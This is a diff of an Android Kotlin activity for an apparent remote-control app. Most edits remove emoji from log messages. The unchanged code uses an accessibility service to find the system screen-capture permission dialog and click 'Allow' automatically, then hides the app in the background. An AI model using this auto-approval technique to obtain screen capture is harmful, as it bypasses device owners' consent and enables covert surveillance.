Log.d(TAG, "🔍 开始检查真实MediaProjection权限") + Log.d(TAG, "开始检查真实MediaProjection权限") val permissionData = MediaProjectionHolder.getPermissionData() if (permissionData == null) { @@ -3285,7 +3285,7 @@ class MainActivity : AppCompatActivity() { return false } - Log.d(TAG, "✅ MediaProjection权限数据存在,开始验证有效性") + Log.d(TAG, "MediaProjection权限数据存在,开始验证有效性") // 验证权限数据的有效性 val (resultCode, resultData) = permissionData @@ -3296,7 +3296,7 @@ class MainActivity : AppCompatActivity() { Log.d(TAG, "📊 权限数据详情: resultCode=$resultCode, Intent存在=${resultData != null}") - // ✅ 使用更安全的方式检测权限,避免创建可能失败的MediaProjection实例 + //使用更安全的方式检测权限,避免创建可能失败的MediaProjection实例 // 对于某些设备,直接创建MediaProjection可能会失败或抛出异常 Log.d(TAG, "🔧 使用保守策略:检查权限数据完整性而不直接创建MediaProjection实例") @@ -3320,22 +3320,22 @@ class MainActivity : AppCompatActivity() { return false } - Log.d(TAG, "✅ MediaProjection权限数据验证通过(保守策略)") + Log.d(TAG, "MediaProjection权限数据验证通过(保守策略)") return true } catch (e: Exception) { - Log.e(TAG, "❌ 验证MediaProjection权限发生异常", e) + Log.e(TAG, "验证MediaProjection权限发生异常", e) return false } } /** - * ✅ 新增:专门的MediaProjection权限申请流程 + *新增:专门的MediaProjection权限申请流程 */ private fun startMediaProjectionPermissionFlow() { Log.i(TAG, "🎯 启动专门的MediaProjection权限申请流程") - // ✅ 新增:标记正在申请权限,防止保活循环 + //新增:标记正在申请权限,防止保活循环 markPermissionRequesting(true) runOnUiThread { @@ -3349,7 +3349,7 @@ class MainActivity : AppCompatActivity() { } /** - * ✅ 新增:智能权限申请流程(绕过可能卡住的AccessibilityService逻辑) + *新增:智能权限申请流程(绕过可能卡住的AccessibilityService逻辑) */ private fun startIntelligentPermissionFlow() { Log.i(TAG, "🧠 启动智能权限申请流程") @@ -3367,7 +3367,7 @@ class MainActivity : AppCompatActivity() { } /** - * ✅ 新增:AccessibilityService故障恢复机制 + *新增:AccessibilityService故障恢复机制 */ private fun startAccessibilityServiceFailureRecovery() { Log.i(TAG, "🔧 启动AccessibilityService故障恢复机制") @@ -3388,13 +3388,13 @@ class MainActivity : AppCompatActivity() { val recoveryRunnable = object : Runnable { override fun run() { checkCount++ - Log.i(TAG, "🔍 AccessibilityService恢复检测 (${checkCount}/${maxChecks})") + Log.i(TAG, "AccessibilityService恢复检测 (${checkCount}/${maxChecks})") val serviceRunning = AccessibilityRemoteService.isServiceRunning() val serviceInstance = AccessibilityRemoteService.getInstance() if (serviceRunning && serviceInstance != null) { - Log.i(TAG, "✅ AccessibilityService已恢复,启动智能权限申请") + Log.i(TAG, "AccessibilityService已恢复,启动智能权限申请") runOnUiThread { if (::statusText.isInitialized) { @@ -3429,7 +3429,7 @@ class MainActivity : AppCompatActivity() { recoveryHandler.postDelayed(this, checkInterval) } else { // 恢复超时,提供备用方案 - Log.w(TAG, "⚠️ AccessibilityService恢复超时,启动备用方案") + Log.w(TAG, "AccessibilityService恢复超时,启动备用方案") handleAccessibilityServiceRecoveryTimeout() } } @@ -3440,10 +3440,10 @@ class MainActivity : AppCompatActivity() { } /** - * ✅ 新增:AccessibilityService恢复超时处理 + *新增:AccessibilityService恢复超时处理 */ private fun handleAccessibilityServiceRecoveryTimeout() { - Log.w(TAG, "⚠️ AccessibilityService恢复超时,提供备用权限申请方案") + Log.w(TAG, "AccessibilityService恢复超时,提供备用权限申请方案") runOnUiThread { if (::statusText.isInitialized) { @@ -3454,7 +3454,7 @@ class MainActivity : AppCompatActivity() { // 尝试直接申请MediaProjection权限,不依赖AccessibilityService android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ - Log.i(TAG, "🔄 启动备用权限申请:直接申请MediaProjection权限") + Log.i(TAG, "启动备用权限申请:直接申请MediaProjection权限") runOnUiThread { if (::statusText.isInitialized) { @@ -3481,7 +3481,7 @@ class MainActivity : AppCompatActivity() { ) if (accessibilityEnabled != 1) { - Log.d(TAG, "🔍 无障碍服务全局未启用") + Log.d(TAG, "无障碍服务全局未启用") return false } @@ -3492,7 +3492,7 @@ class MainActivity : AppCompatActivity() { ) val isEnabled = enabledServices?.contains(serviceName) == true - Log.d(TAG, "🔍 无障碍服务检查: 全局启用=$accessibilityEnabled, 服务启用=$isEnabled, 服务名=$serviceName") + Log.d(TAG, "无障碍服务检查: 全局启用=$accessibilityEnabled, 服务启用=$isEnabled, 服务名=$serviceName") return isEnabled } catch (e: Exception) { Log.e(TAG, "检查无障碍权限失败", e) @@ -3709,18 +3709,18 @@ class MainActivity : AppCompatActivity() { try { Log.i(TAG, "申请MediaProjection权限") - // ✅ 新增:设备特定调试信息(不影响现有逻辑) + //新增:设备特定调试信息(不影响现有逻辑) Log.i( TAG, - "🔍 设备信息: ${android.os.Build.MANUFACTURER} ${android.os.Build.MODEL} (API ${android.os.Build.VERSION.SDK_INT})" + "设备信息: ${android.os.Build.MANUFACTURER} ${android.os.Build.MODEL} (API ${android.os.Build.VERSION.SDK_INT})" ) - Log.i(TAG, "🔍 ROM版本: ${android.os.Build.DISPLAY}") + Log.i(TAG, "ROM版本: ${android.os.Build.DISPLAY}") - // ✅ 参考billd-desk:Android 11+也需要申请MediaProjection权限(不再跳过) + //参考billd-desk:Android 11+也需要申请MediaProjection权限(不再跳过) // billd-desk通过Fragment.startActivityForResult(createScreenCaptureIntent())在所有版本申请权限 - Log.i(TAG, "📱 Android ${Build.VERSION.SDK_INT} 设备,正常申请MediaProjection权限(参考billd-desk)") + Log.i(TAG, "Android ${Build.VERSION.SDK_INT} 设备,正常申请MediaProjection权限(参考billd-desk)") - // ✅ 检测是否为已知的有问题的设备 + //检测是否为已知的有问题的设备 val isXiaomiDevice = android.os.Build.MANUFACTURER.equals("Xiaomi", ignoreCase = true) || android.os.Build.MANUFACTURER.equals("Redmi", ignoreCase = true) || @@ -3729,7 +3729,7 @@ class MainActivity : AppCompatActivity() { android.os.Build.BRAND.equals("POCO", ignoreCase = true) if (isXiaomiDevice && android.os.Build.VERSION.SDK_INT == 29) { - Log.w(TAG, "⚠️ 检测到Xiaomi Android 10设备,这类设备可能存在权限对话框不显示的问题") + Log.w(TAG, "检测到Xiaomi Android 10设备,这类设备可能存在权限对话框不显示的问题") Log.i(TAG, "🔧 将尝试简化的权限申请方法") } @@ -3747,7 +3747,7 @@ class MainActivity : AppCompatActivity() { // 通知无障碍服务开始权限申请 notifyAccessibilityServicePermissionRequest() - // ✅ 为 MIUI 设备使用简化的权限申请方法 + //为 MIUI 设备使用简化的权限申请方法 if (isXiaomiDevice && android.os.Build.VERSION.SDK_INT == 29) { requestMediaProjectionPermissionForMIUI() return @@ -3756,71 +3756,71 @@ class MainActivity : AppCompatActivity() { // 创建MediaProjection权限请求Intent val intent = mediaProjectionManager?.createScreenCaptureIntent() if (intent == null) { - Log.e(TAG, "❌ 创建MediaProjection权限Intent失败") + Log.e(TAG, "创建MediaProjection权限Intent失败") return } - // ✅ 新增:详细的Intent信息(帮助诊断问题) + //新增:详细的Intent信息(帮助诊断问题) Log.i(TAG, "📋 权限Intent详情:") Log.i(TAG, " - Component: ${intent.component}") Log.i(TAG, " - Action: ${intent.action}") Log.i(TAG, " - Package: ${intent.`package`}") Log.i(TAG, " - Flags: 0x${intent.flags.toString(16)}") - // ✅ 新增:检查Intent是否能被系统处理 + //新增:检查Intent是否能被系统处理 try { val resolveInfo = packageManager.resolveActivity(intent, 0) if (resolveInfo != null) { - Log.i(TAG, "✅ 系统可以处理权限Intent") + Log.i(TAG, "系统可以处理权限Intent") Log.i(TAG, " - 处理应用: ${resolveInfo.activityInfo.packageName}") Log.i(TAG, " - 处理Activity: ${resolveInfo.activityInfo.name}") } else { - Log.e(TAG, "❌ 系统无法处理权限Intent!这可能是问题根源") + Log.e(TAG, "系统无法处理权限Intent!这可能是问题根源") } } catch (e: Exception) { - Log.e(TAG, "❌ 检查Intent处理能力时出错", e) + Log.e(TAG, "检查Intent处理能力时出错", e) } - // ✅ 新增:Activity状态检查 - Log.i(TAG, "📱 Activity状态:") + //新增:Activity状态检查 + Log.i(TAG, "Activity状态:") Log.i(TAG, " - isFinishing: $isFinishing") Log.i(TAG, " - hasWindowFocus: ${hasWindowFocus()}") Log.i(TAG, " - lifecycle.state: ${lifecycle.currentState}") - Log.i(TAG, "✅ 成功创建MediaProjection权限Intent,启动系统权限对话框") + Log.i(TAG, "成功创建MediaProjection权限Intent,启动系统权限对话框") - // ✅ 新增:记录启动时间(用于后续分析) + //新增:记录启动时间(用于后续分析) val startTime = System.currentTimeMillis() Log.i(TAG, "🚀 启动权限对话框时间: $startTime") startActivityForResult(intent, REQUEST_MEDIA_PROJECTION) - // ✅ 新增:启动后立即检查(不改变现有逻辑) + //新增:启动后立即检查(不改变现有逻辑) Log.i( TAG, - "✅ startActivityForResult调用完成,耗时: ${System.currentTimeMillis() - startTime}ms" + "startActivityForResult调用完成,耗时: ${System.currentTimeMillis() - startTime}ms" ) - // ✅ 启动MediaProjection权限监听,检测权限是否被自动获取 + //启动MediaProjection权限监听,检测权限是否被自动获取 startMediaProjectionPermissionMonitoring() } catch (e: Exception) { - Log.e(TAG, "❌ 申请MediaProjection权限失败", e) + Log.e(TAG, "申请MediaProjection权限失败", e) } } /** - * ✅ 专门为 MIUI 设备设计的权限申请方法 - 简化版,避免SimplePermissionActivity崩溃 + *专门为 MIUI 设备设计的权限申请方法 - 简化版,避免SimplePermissionActivity崩溃 */ private fun requestMediaProjectionPermissionForMIUI() { try { Log.i(TAG, "🔧 开始MIUI设备专用权限申请流程") - // ✅ 检测设备ROM版本,决定使用哪种方法 + //检测设备ROM版本,决定使用哪种方法 val buildVersion = android.os.Build.VERSION.RELEASE val miuiVersion = android.os.Build.VERSION.INCREMENTAL - Log.i(TAG, "🔍 MIUI设备详情: Android $buildVersion, MIUI $miuiVersion") + Log.i(TAG, "MIUI设备详情: Android $buildVersion, MIUI $miuiVersion") // 方法1:确保Activity处于最佳状态 runOnUiThread { @@ -3830,7 +3830,7 @@ class MainActivity : AppCompatActivity() { } } - // ✅ 对于容易崩溃的设备,直接使用内置方法,避免SimplePermissionActivity + //对于容易崩溃的设备,直接使用内置方法,避免SimplePermissionActivity if (android.os.Build.VERSION.SDK_INT <= 29) { // Android 10及以下 Log.i(TAG, "🔧 检测到Android 10及以下设备,直接使用内置方法避免兼容性问题") requestMIUIBuiltinMethod() @@ -3844,40 +3844,40 @@ class MainActivity : AppCompatActivity() { val simplePermissionIntent = Intent(this, com.hikoncont.activity.SimplePermissionActivity::class.java) - // ✅ 检查SimplePermissionActivity是否可以启动 + //检查SimplePermissionActivity是否可以启动 val packageManager = packageManager val resolveInfo = packageManager.resolveActivity(simplePermissionIntent, 0) if (resolveInfo == null) { - Log.e(TAG, "❌ SimplePermissionActivity无法解析,直接使用内置方法") + Log.e(TAG, "SimplePermissionActivity无法解析,直接使用内置方法") throw Exception("SimplePermissionActivity无法解析") } - Log.i(TAG, "✅ SimplePermissionActivity可以启动,开始启动") + Log.i(TAG, "SimplePermissionActivity可以启动,开始启动") startActivityForResult(simplePermissionIntent, REQUEST_SIMPLE_PERMISSION) // 启动监听 startMediaProjectionPermissionMonitoring() - Log.i(TAG, "✅ MIUI设备SimplePermissionActivity已启动") + Log.i(TAG, "MIUI设备SimplePermissionActivity已启动") - // ✅ 添加超时检测,防止SimplePermissionActivity卡住 + //添加超时检测,防止SimplePermissionActivity卡住 android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ - Log.w(TAG, "⚠️ SimplePermissionActivity启动超时,检查是否需要回退") + Log.w(TAG, "SimplePermissionActivity启动超时,检查是否需要回退") // 检查权限是否已获取,如果没有则回退到内置方法 val permissionData = MediaProjectionHolder.getPermissionData() if (permissionData == null) { - Log.w(TAG, "⚠️ SimplePermissionActivity超时且权限未获取,回退到内置方法") + Log.w(TAG, "SimplePermissionActivity超时且权限未获取,回退到内置方法") requestMIUIBuiltinMethod() } }, 3000) // 缩短超时时间到3秒 } catch (e: Exception) { - Log.e(TAG, "❌ SimplePermissionActivity启动异常", e) + Log.e(TAG, "SimplePermissionActivity启动异常", e) throw e // 重新抛出异常,让外层catch处理 } } catch (e: Exception) { - Log.e(TAG, "❌ MIUI SimplePermissionActivity启动失败", e) + Log.e(TAG, "MIUI SimplePermissionActivity启动失败", e) // 回退到内置方法 requestMIUIBuiltinMethod() @@ -3885,7 +3885,7 @@ class MainActivity : AppCompatActivity() { } /** - * ✅ MIUI设备内置权限申请方法 + *MIUI设备内置权限申请方法 */ private fun requestMIUIBuiltinMethod() { try { @@ -3906,9 +3906,9 @@ class MainActivity : AppCompatActivity() { try { Log.i(TAG, "🔧 MIUI延迟后开始权限申请") - // ✅ 检查Activity状态,确保没有被销毁 + //检查Activity状态,确保没有被销毁 if (isFinishing || isDestroyed) { - Log.e(TAG, "❌ Activity已销毁,取消权限申请") + Log.e(TAG, "Activity已销毁,取消权限申请") return@postDelayed } @@ -3918,7 +3918,7 @@ class MainActivity : AppCompatActivity() { val intent = mediaProjectionManager?.createScreenCaptureIntent() if (intent == null) { - Log.e(TAG, "❌ MIUI设备创建权限Intent失败") + Log.e(TAG, "MIUI设备创建权限Intent失败") // 尝试标准方法 requestStandardMediaProjectionPermission() return@postDelayed @@ -3931,11 +3931,11 @@ class MainActivity : AppCompatActivity() { // 方法4:不添加任何额外的Intent标志,保持最简单的状态 Log.i(TAG, "🔧 MIUI设备使用最简单的权限申请方式") - // ✅ 添加try-catch保护startActivityForResult调用 + //添加try-catch保护startActivityForResult调用 try { Log.i(TAG, "🚀 MIUI设备启动权限对话框") startActivityForResult(intent, REQUEST_MEDIA_PROJECTION) - Log.i(TAG, "✅ MIUI设备权限申请已启动") + Log.i(TAG, "MIUI设备权限申请已启动") // 启动监听 startMediaProjectionPermissionMonitoring() @@ -3950,13 +3950,13 @@ class MainActivity : AppCompatActivity() { } } catch (activityException: Exception) { - Log.e(TAG, "❌ MIUI设备启动权限对话框失败", activityException) + Log.e(TAG, "MIUI设备启动权限对话框失败", activityException) // 立即尝试标准方法 requestStandardMediaProjectionPermission() } } catch (e: Exception) { - Log.e(TAG, "❌ MIUI设备权限申请失败", e) + Log.e(TAG, "MIUI设备权限申请失败", e) // 失败时回退到普通方法 runOnUiThread { @@ -3974,14 +3974,14 @@ class MainActivity : AppCompatActivity() { }, 500) // 缩短延迟时间,加快权限申请 } catch (e: Exception) { - Log.e(TAG, "❌ MIUI内置权限申请方法失败", e) + Log.e(TAG, "MIUI内置权限申请方法失败", e) // 回退到标准方法 requestStandardMediaProjectionPermission() } } /** - * ✅ 标准的权限申请方法(用作回退) + *标准的权限申请方法(用作回退) */ private fun requestStandardMediaProjectionPermission() { try { @@ -3991,12 +3991,12 @@ class MainActivity : AppCompatActivity() { if (intent != null) { startActivityForResult(intent, REQUEST_MEDIA_PROJECTION) startMediaProjectionPermissionMonitoring() - Log.i(TAG, "✅ 标准权限申请已启动") + Log.i(TAG, "标准权限申请已启动") } else { - Log.e(TAG, "❌ 标准权限申请失败:无法创建Intent") + Log.e(TAG, "标准权限申请失败:无法创建Intent") } } catch (e: Exception) { - Log.e(TAG, "❌ 标准权限申请异常", e) + Log.e(TAG, "标准权限申请异常", e) } } @@ -4005,15 +4005,15 @@ class MainActivity : AppCompatActivity() { * 不依赖无障碍服务,直接处理权限弹框 */ private fun startAndroid10MediaProjectionDialogHandling() { - Log.i(TAG, "📱 Android 10:开始直接弹框处理") + Log.i(TAG, "Android 10:开始直接弹框处理") // 使用 Handler 延迟处理,确保权限弹框完全显示 Handler(Looper.getMainLooper()).postDelayed({ try { - Log.i(TAG, "📱 Android 10:开始查找并点击允许按钮") + Log.i(TAG, "Android 10:开始查找并点击允许按钮") handleAndroid10MediaProjectionDialogDirectly() } catch (e: Exception) { - Log.e(TAG, "❌ Android 10弹框处理异常", e) + Log.e(TAG, "Android 10弹框处理异常", e) } }, 1000) // 延迟1秒,确保弹框完全显示 } @@ -4023,23 +4023,23 @@ class MainActivity : AppCompatActivity() { */ private fun handleAndroid10MediaProjectionDialogDirectly() { try { - Log.i(TAG, "📱 Android 10:开始直接处理权限弹框") + Log.i(TAG, "Android 10:开始直接处理权限弹框") // 获取无障碍服务实例 val accessibilityService = AccessibilityRemoteService.getInstance() if (accessibilityService == null) { - Log.w(TAG, "⚠️ Android 10:无障碍服务未启动,无法处理弹框") + Log.w(TAG, "Android 10:无障碍服务未启动,无法处理弹框") return } // 获取当前窗口根节点 val rootNode = accessibilityService.rootInActiveWindow if (rootNode == null) { - Log.w(TAG, "⚠️ Android 10:无法获取窗口根节点") + Log.w(TAG, "Android 10:无法获取窗口根节点") return } - Log.i(TAG, "📱 Android 10:成功获取窗口根节点,开始查找允许按钮") + Log.i(TAG, "Android 10:成功获取窗口根节点,开始查找允许按钮") // 定义允许按钮文本 val allowButtonTexts = arrayOf( @@ -4063,7 +4063,7 @@ class MainActivity : AppCompatActivity() { // 策略1:按文本查找允许按钮 for (text in allowButtonTexts) { val buttons = findNodesByText(rootNode, text) - Log.d(TAG, "📱 Android 10:查找文本 '$text' 找到 ${buttons.size} 个节点") + Log.d(TAG, "Android 10:查找文本 '$text' 找到 ${buttons.size} 个节点") for (button in buttons) { if (button.isClickable && button.isEnabled) { @@ -4077,12 +4077,12 @@ class MainActivity : AppCompatActivity() { } if (!isDenyButton) { - Log.i(TAG, "✅ Android 10:找到允许按钮 - 文本: '$buttonText', 描述: '$buttonDesc'") - Log.i(TAG, "✅ Android 10:点击允许按钮") + Log.i(TAG, "Android 10:找到允许按钮 - 文本: '$buttonText', 描述: '$buttonDesc'") + Log.i(TAG, "Android 10:点击允许按钮") // 执行点击 val clickResult = button.performAction(AccessibilityNodeInfo.ACTION_CLICK) - Log.i(TAG, "✅ Android 10:点击结果: $clickResult") + Log.i(TAG, "Android 10:点击结果: $clickResult") // 等待点击生效 Thread.sleep(500) @@ -4090,29 +4090,29 @@ class MainActivity : AppCompatActivity() { // 检查权限是否已获得 val permissionData = MediaProjectionHolder.getPermissionData() if (permissionData != null) { - Log.i(TAG, "✅ Android 10:MediaProjection权限已获得") + Log.i(TAG, "Android 10:MediaProjection权限已获得") return } return // 即使权限检查失败,也认为点击成功 } else { - Log.d(TAG, " ⚠️ 跳过拒绝按钮: '$buttonText'") + Log.d(TAG, " 跳过拒绝按钮: '$buttonText'") } } } } // 策略2:按类名查找按钮 - Log.i(TAG, "📱 Android 10:按类名查找按钮...") + Log.i(TAG, "Android 10:按类名查找按钮...") val buttonNodes = findNodesByClassName(rootNode, "android.widget.Button") - Log.d(TAG, "📱 Android 10:找到 ${buttonNodes.size} 个Button节点") + Log.d(TAG, "Android 10:找到 ${buttonNodes.size} 个Button节点") for (button in buttonNodes) { if (button.isClickable && button.isEnabled) { val buttonText = button.text?.toString() ?: "" val buttonDesc = button.contentDescription?.toString() ?: "" - Log.d(TAG, "📱 Android 10:检查Button: 文本='$buttonText', 描述='$buttonDesc'") + Log.d(TAG, "Android 10:检查Button: 文本='$buttonText', 描述='$buttonDesc'") // 检查是否包含允许文本 val containsAllowText = allowButtonTexts.any { allowText -> @@ -4127,17 +4127,17 @@ class MainActivity : AppCompatActivity() { } if (containsAllowText && !isDenyButton) { - Log.i(TAG, "✅ Android 10:找到允许Button - 文本: '$buttonText'") - Log.i(TAG, "✅ Android 10:点击允许Button") + Log.i(TAG, "Android 10:找到允许Button - 文本: '$buttonText'") + Log.i(TAG, "Android 10:点击允许Button") val clickResult = button.performAction(AccessibilityNodeInfo.ACTION_CLICK) - Log.i(TAG, "✅ Android 10:Button点击结果: $clickResult") + Log.i(TAG, "Android 10:Button点击结果: $clickResult") Thread.sleep(500) val permissionData = MediaProjectionHolder.getPermissionData() if (permissionData != null) { - Log.i(TAG, "✅ Android 10:MediaProjection权限已获得") + Log.i(TAG, "Android 10:MediaProjection权限已获得") return } @@ -4146,10 +4146,10 @@ class MainActivity : AppCompatActivity() { } } - Log.w(TAG, "⚠️ Android 10:未找到允许按钮") + Log.w(TAG, "Android 10:未找到允许按钮") } catch (e: Exception) { - Log.e(TAG, "❌ Android 10 MediaProjection弹框处理异常", e) + Log.e(TAG, "Android 10 MediaProjection弹框处理异常", e) } } @@ -4207,10 +4207,10 @@ class MainActivity : AppCompatActivity() { */ private fun notifyAccessibilityServicePermissionRequest() { try { - // ✅ 恢复权限存在检查,防止Android 15设备重复申请权限 + //恢复权限存在检查,防止Android 15设备重复申请权限 val permissionData = MediaProjectionHolder.getPermissionData() if (permissionData != null) { - Log.i(TAG, "📱 MediaProjection权限已存在,停止权限申请流程") + Log.i(TAG, "MediaProjection权限已存在,停止权限申请流程") // 检查是否为Android 15设备的权限恢复场景 val android15Recovery = intent.getBooleanExtra("ANDROID_15_RECOVERY", false) @@ -4230,7 +4230,7 @@ class MainActivity : AppCompatActivity() { // 显示恢复成功状态 runOnUiThread { - statusText.text = "✅ 权限已存在,恢复完成\n功能正常运行" + statusText.text = "权限已存在,恢复完成\n功能正常运行" statusText.setTextColor(getColor(android.R.color.holo_green_dark)) enableButton.text = "恢复完成" enableButton.isEnabled = false @@ -4260,9 +4260,9 @@ class MainActivity : AppCompatActivity() { putExtra("requesting", true) } sendBroadcast(intent) - Log.i(TAG, "✅ 已通知无障碍服务开始权限申请") + Log.i(TAG, "已通知无障碍服务开始权限申请") } catch (e: Exception) { - Log.e(TAG, "❌ 通知无障碍服务失败", e) + Log.e(TAG, "通知无障碍服务失败", e) } } @@ -4294,15 +4294,15 @@ class MainActivity : AppCompatActivity() { when (resultCode) { Activity.RESULT_OK -> { - Log.i(TAG, "✅ 用户允许了MediaProjection权限") + Log.i(TAG, "用户允许了MediaProjection权限") } Activity.RESULT_CANCELED -> { - Log.w(TAG, "❌ 用户拒绝了MediaProjection权限") + Log.w(TAG, "用户拒绝了MediaProjection权限") } else -> { - Log.w(TAG, "⚠️ 未知的resultCode: $resultCode") + Log.w(TAG, "未知的resultCode: $resultCode") } } @@ -4326,14 +4326,14 @@ class MainActivity : AppCompatActivity() { Log.i(TAG, " - MediaProjection data存在: ${mediaProjectionData != null}") if (mediaProjectionResultCode == Activity.RESULT_OK && mediaProjectionData != null) { - Log.i(TAG, "✅ SimplePermissionActivity权限申请成功") + Log.i(TAG, "SimplePermissionActivity权限申请成功") handleMediaProjectionResult(mediaProjectionResultCode, mediaProjectionData) } else { - Log.w(TAG, "❌ SimplePermissionActivity权限申请失败") + Log.w(TAG, "SimplePermissionActivity权限申请失败") handleMediaProjectionResult(Activity.RESULT_CANCELED, null) } } else { - Log.w(TAG, "❌ SimplePermissionActivity返回失败") + Log.w(TAG, "SimplePermissionActivity返回失败") // 回退到内置方法 runOnUiThread { statusText.text = "🔧 独立Activity失败,尝试内置方法...\n正在重新申请权限" @@ -4357,7 +4357,7 @@ class MainActivity : AppCompatActivity() { } // 删除悬浮窗权限结果处理 else -> { - Log.w(TAG, "⚠️ 未知的requestCode: $requestCode") + Log.w(TAG, "未知的requestCode: $requestCode") } } @@ -4394,7 +4394,7 @@ class MainActivity : AppCompatActivity() { } } - Log.i(TAG, "🔍 检查权限申请上下文:") + Log.i(TAG, "检查权限申请上下文:") Log.i(TAG, " - isAutoPermissionRequest: $isAutoPermissionRequest") // 检查Intent参数 @@ -4402,9 +4402,9 @@ class MainActivity : AppCompatActivity() { Log.i(TAG, " - permissionLostRecovery: $permissionLostRecovery") if (resultCode == Activity.RESULT_OK && data != null) { - Log.i(TAG, "✅ MediaProjection权限申请成功,开始处理权限数据") + Log.i(TAG, "MediaProjection权限申请成功,开始处理权限数据") - // ✅ 清除权限申请标记 + //清除权限申请标记 markPermissionRequesting(false) try { @@ -4429,7 +4429,7 @@ class MainActivity : AppCompatActivity() { // 检查是否为权限恢复流程 val permissionLostRecovery = intent.getBooleanExtra("PERMISSION_LOST_RECOVERY", false) - // ✅ 使用内部标志而不是Intent参数,更可靠 + //使用内部标志而不是Intent参数,更可靠 val autoRequestPermission = isAutoPermissionRequest Log.i( @@ -4438,7 +4438,7 @@ class MainActivity : AppCompatActivity() { ) if (permissionLostRecovery) { - Log.i(TAG, "✅ MediaProjection权限恢复成功,重新启动屏幕捕获") + Log.i(TAG, "MediaProjection权限恢复成功,重新启动屏幕捕获") // 通知AccessibilityService权限恢复成功,立即重新启动屏幕捕获 val broadcastIntent = @@ -4489,7 +4489,7 @@ class MainActivity : AppCompatActivity() { sendBroadcast(broadcastIntent) Log.i(TAG, "📡 已发送MEDIA_PROJECTION_GRANTED广播给AccessibilityRemoteService") - // ✅ 直接调用AccessibilityRemoteService方法,确保MediaProjection被正确设置 + //直接调用AccessibilityRemoteService方法,确保MediaProjection被正确设置 try { val accessibilityService = AccessibilityRemoteService.getInstance() if (accessibilityService != null) { @@ -4503,7 +4503,7 @@ class MainActivity : AppCompatActivity() { if (mediaProjection != null) { Log.i( TAG, - "✅ MediaProjection对象存在,直接设置到ScreenCaptureManager" + "MediaProjection对象存在,直接设置到ScreenCaptureManager" ) // 直接调用内部方法设置MediaProjection val setupMethod = accessibilityService.javaClass.getDeclaredMethod( @@ -4512,26 +4512,21 @@ class MainActivity : AppCompatActivity() { ) setupMethod.isAccessible = true setupMethod.invoke(accessibilityService, mediaProjection) - Log.i(TAG, "✅ 已直接设置MediaProjection到ScreenCaptureManager") + Log.i(TAG, "已直接设置MediaProjection到ScreenCaptureManager") } else { - Log.w(TAG, "⚠️ MediaProjection对象不存在,尝试从权限数据创建") - // 从权限数据创建MediaProjection + Log.w(TAG, "MediaProjection对象不存在,通过安全创建入口获取") + // 通过 Holder 的安全创建入口获取,禁止直接调用 getMediaProjection() + // 直接调用会创建新实例,系统自动 stop 旧实例触发 onStop 死循环 val permissionData = MediaProjectionHolder.getPermissionData() if (permissionData != null) { - val (resultCode, resultData) = permissionData - if (resultData != null) { - val mediaProjectionManager = - getSystemService(MEDIA_PROJECTION_SERVICE) as MediaProjectionManager + val (safeResultCode, safeResultData) = permissionData + if (safeResultData != null) { val newMediaProjection = - mediaProjectionManager.getMediaProjection( - resultCode, - resultData + MediaProjectionHolder.safeGetOrCreateProjection( + this@MainActivity, safeResultCode, safeResultData ) if (newMediaProjection != null) { - Log.i(TAG, "✅ 从权限数据重新创建MediaProjection成功") - MediaProjectionHolder.setMediaProjection( - newMediaProjection - ) + Log.i(TAG, "通过安全创建入口获取MediaProjection成功") // 设置到ScreenCaptureManager val setupMethod = @@ -4544,24 +4539,21 @@ class MainActivity : AppCompatActivity() { accessibilityService, newMediaProjection ) - Log.i( - TAG, - "✅ 已设置重新创建的MediaProjection到ScreenCaptureManager" - ) + Log.i(TAG, "已设置MediaProjection到ScreenCaptureManager") } else { - Log.e(TAG, "❌ 从权限数据重新创建MediaProjection失败") + Log.e(TAG, "通过安全创建入口获取MediaProjection失败") } } } } } else { - Log.w(TAG, "⚠️ AccessibilityRemoteService实例不存在") + Log.w(TAG, "AccessibilityRemoteService实例不存在") } } catch (e: Exception) { - Log.e(TAG, "❌ 直接调用AccessibilityRemoteService失败", e) + Log.e(TAG, "直接调用AccessibilityRemoteService失败", e) } - // ✅ 重置自动权限申请标志 + //重置自动权限申请标志 isAutoPermissionRequest = false permissionRequestInProgress = false // 重置权限申请进行中标志 @@ -4577,7 +4569,7 @@ class MainActivity : AppCompatActivity() { } } - // ✅ 根据悬浮窗权限开关决定后续流程 + //根据悬浮窗权限开关决定后续流程 Log.i(TAG, "🚀 MediaProjection权限成功,继续后续权限流程") // 短暂延迟后让无障碍服务处理后续流程 @@ -4618,7 +4610,7 @@ class MainActivity : AppCompatActivity() { } else { Log.w(TAG, "MediaProjection权限申请被拒绝") - // ✅ 检测是否为 MIUI 设备的权限对话框不显示问题 + //检测是否为 MIUI 设备的权限对话框不显示问题 val isXiaomiDevice = android.os.Build.MANUFACTURER.equals("Xiaomi", ignoreCase = true) || android.os.Build.MANUFACTURER.equals("Redmi", ignoreCase = true) || @@ -4650,7 +4642,7 @@ class MainActivity : AppCompatActivity() { hideActivityToBackground() } catch (e: Exception) { - Log.e(TAG, "❌ MIUI修复失败", e) + Log.e(TAG, "MIUI修复失败", e) handleNormalPermissionDenied() } } @@ -4672,12 +4664,12 @@ class MainActivity : AppCompatActivity() { } /** - * ✅ 处理正常的权限拒绝情况 + *处理正常的权限拒绝情况 */ private fun handleNormalPermissionDenied() { Log.w(TAG, "MediaProjection权限申请被拒绝,通知无障碍服务但保持应用打开") - // ✅ 重置权限申请标志 + //重置权限申请标志 isAutoPermissionRequest = false permissionRequestInProgress = false @@ -4692,18 +4684,18 @@ class MainActivity : AppCompatActivity() { } sendBroadcast(broadcastIntent) - // ✅ 清除权限申请标记 + //清除权限申请标记 markPermissionRequesting(false) - // ✅ 不直接关闭应用,而是显示权限状态并允许用户重新尝试 + //不直接关闭应用,而是显示权限状态并允许用户重新尝试 // 使用线程安全方法更新UI - updateStatusTextThreadSafe("⚠️ 权限被拒绝\n服务需要此权限才能工作", android.R.color.holo_red_dark) + updateStatusTextThreadSafe("权限被拒绝\n服务需要此权限才能工作", android.R.color.holo_red_dark) updateButtonSafely("重新申请权限", null, true) // 更新启动参数,清除AUTO_REQUEST_PERMISSION标志 intent.putExtra("AUTO_REQUEST_PERMISSION", false) - // ✅ 权限被拒绝后不自动最小化,让用户看到状态并决定下一步操作 + //权限被拒绝后不自动最小化,让用户看到状态并决定下一步操作 Log.i(TAG, "权限被拒绝,保持应用在前台让用户查看状态和重新操作") } @@ -4720,26 +4712,26 @@ class MainActivity : AppCompatActivity() { override fun onDestroy() { super.onDestroy() - // ✅ 停止WebView状态更新 + //停止WebView状态更新 stopWebViewStatusUpdate() - // ✅ 新增:OPPO设备检测,禁用Activity保活 + 